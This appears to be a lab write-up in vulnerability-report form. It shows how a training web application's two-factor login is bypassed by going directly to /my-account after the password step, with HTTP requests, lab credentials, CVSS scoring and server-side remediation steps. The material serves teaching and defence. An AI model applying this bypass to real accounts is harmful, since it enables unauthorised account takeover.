

Title of Issue

Authentication Bypass — Two-Factor Authentication (2FA) Simple Bypass via Direct Navigation

Description

The application implements a two-step login process: first the user submits username and password, then they are directed to a second page (`/login2`) to enter a time-based verification code sent to their email. However, the application fails to enforce that the 2FA step must be completed before granting access to authenticated resources. After successfully completing step 1 (password verification), the server establishes a partial session that already grants access to authenticated pages — the 2FA check is performed purely client-side via redirect, not enforced server-side.

An attacker who obtains valid step-1 credentials (username and password) can bypass the 2FA step entirely by directly navigating to `/my-account` after step 1, skipping the `/login2` page.

Affected Endpoints: `POST /login` , `GET /login2` , `GET /my-account` **Root Cause:** No server-side enforcement that 2FA was completed before granting access

Steps to Exploit

1. Navigate to `/login` and submit valid credentials for the victim account:
 - Username: `carlos`
 - Password: `montoya`
2. The application redirects to `/login2` and prompts for the 2FA code.
3. **Instead of completing the 2FA step**, manually navigate directly to:

```
https://<lab-id>.web-security-academy.net/my-account
```

4. Observe that the application grants full access to the victim's account page — 2FA was never verified.
-

Proof of Concept

Step 1 — Login with credentials:

```
POST /login HTTP/1.1
Host: <lab-id>.web-security-academy.net
Content-Type: application/x-www-form-urlencoded

username=carlos&password=montoya
```

Response: HTTP 302 redirect to `/login2`

Step 2 — Bypass: navigate directly to authenticated page:

```
GET /my-account HTTP/1.1
Host: <lab-id>.web-security-academy.net
Cookie: session=<session-established-after-step-1>
```

Response: HTTP 200 — full authenticated access to carlos 's account page.

The session cookie issued after step 1 is already marked as fully authenticated by the server. The redirect to /login2 is only enforced client-side (via the redirect response), not server-side (the session is not gated on 2FA completion).

Impact

- Two-factor authentication is completely defeated — any attacker with step-1 credentials bypasses the 2FA control entirely.
- Renders the 2FA implementation useless as a security control.
- Full unauthorised access to the victim's account, all account data, and any privileged actions.
- Particularly dangerous since users trust 2FA to protect their accounts even if passwords are compromised.

Mitigation / Remediation

1. **Enforce 2FA completion server-side** — issue a temporary, limited session after step 1 that only permits access to /login2 . Upgrade to a fully authenticated session only after the 2FA code is verified.
2. **Do not grant access to authenticated resources until all authentication factors are verified** — check session state on every protected endpoint.
3. **Invalidate the partial session** if the user navigates away from /login2 without completing verification.
4. **Implement strict state machine logic** for multi-step authentication flows.
5. **Log and alert on 2FA bypass attempts** — unusual navigation patterns (step 1 complete, no step 2 visit, then accessing protected pages) should trigger security alerts.

CVSS Score

CVSS v3.1 Score: 8.1 (High) CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

CVSS Justification

Metric	Value	Rationale
Attack Vector	Network	Exploitable remotely over HTTP
Attack Complexity	Low	Trivial — requires only direct URL navigation
Privileges Required	Low	Requires valid step-1 credentials (username + password)
User Interaction	None	No victim action required
Scope	Unchanged	Impact limited to the compromised user account
Confidentiality Impact	High	Full access to victim's account data
Integrity Impact	High	Attacker can perform any action as the victim
Availability Impact	None	No service disruption